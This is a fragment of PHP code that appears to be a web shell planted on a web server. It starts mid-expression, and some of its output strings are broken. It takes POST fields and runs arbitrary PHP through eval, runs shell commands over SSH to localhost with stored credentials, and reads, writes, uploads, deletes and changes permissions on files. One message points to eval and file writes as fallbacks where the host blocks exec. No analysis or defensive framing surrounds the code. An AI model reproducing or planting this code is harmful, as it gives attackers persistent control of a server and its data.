=1024&&$i<4){$b/=1024;$i++;}return round($b,1).$u[$i];} function fsz($p){return is_dir($p)?'DIR':hum(@filesize($p));} function sh($c,&$err=false){global $SSH_USER,$SSH_PASS; $x=@ssh2_connect('127.0.0.1',22); if(!$x)return false; if(!@ssh2_auth_password($x,$SSH_USER,$SSH_PASS))return false; $s=@ssh2_exec($x,$c.' 2>&1'); if(!$s)return false; stream_set_timeout($s,15); $o=stream_get_contents($s); fclose($s); return $o;} function sf(){global $SSH_USER,$SSH_PASS; $x=@ssh2_connect('127.0.0.1',22); if(!$x)return false; if(!@ssh2_auth_password($x,$SSH_USER,$SSH_PASS))return false; return @ssh2_sftp($x);} $act=isset($_POST['act'])?$_POST['act']:'ls'; $cp=isset($_POST['cp'])?$_POST['cp']:(function_exists('posix_getcwd')?posix_getcwd():'/'); $cp=rtrim($cp,'/'); if($cp==='')$cp='/'; $f=isset($_POST['f'])?$_POST['f']:''; echo "
".($o===false?'ssh failed':(trim($o)===''?'(host jails exec - no output; use read/edit/upload/eval - all work)':h($o))).""; } if($act=='eval'){ echo "EVAL
".h(@eval(isset($_POST['code'])?$_POST['code']:'')).""; } if($act=='read'){ if(isset($_POST['content'])){ $n=@file_put_contents($f,$_POST['content']); echo $n===false?"SAVE FAILED":"SAVED $n bytes
".chunk_split(base64_encode((string)file_get_contents($f)),76).""; } if($act=='up'&&isset($_FILES['uf']['name'])&&$_FILES['uf']['name']!=''){ $dst=$cp.'/'.basename($_FILES['uf']['name']); echo move_uploaded_file($_FILES['uf']['tmp_name'],$dst)?"UPLOADED $dst":"UPLOAD FAILED"; } if($act=='del'&&!is_dir($f)){ echo @unlink($f)?"DELETED $f":"DEL FAILED"; } if($act=='mkdir'&&$f!=''){ @mkdir($f,0777,true); } if($act=='chmod'&&$f!=''&&isset($_POST['mode'])){ @chmod($f,octdec($_POST['mode'])); } if($act=='mk'&&$f!=''){ @file_put_contents($f,''); } echo "
| $perm | ".h($ow)." | ".fsz($p)." | ".date('Y-m-d H:i',@filemtime($p))." |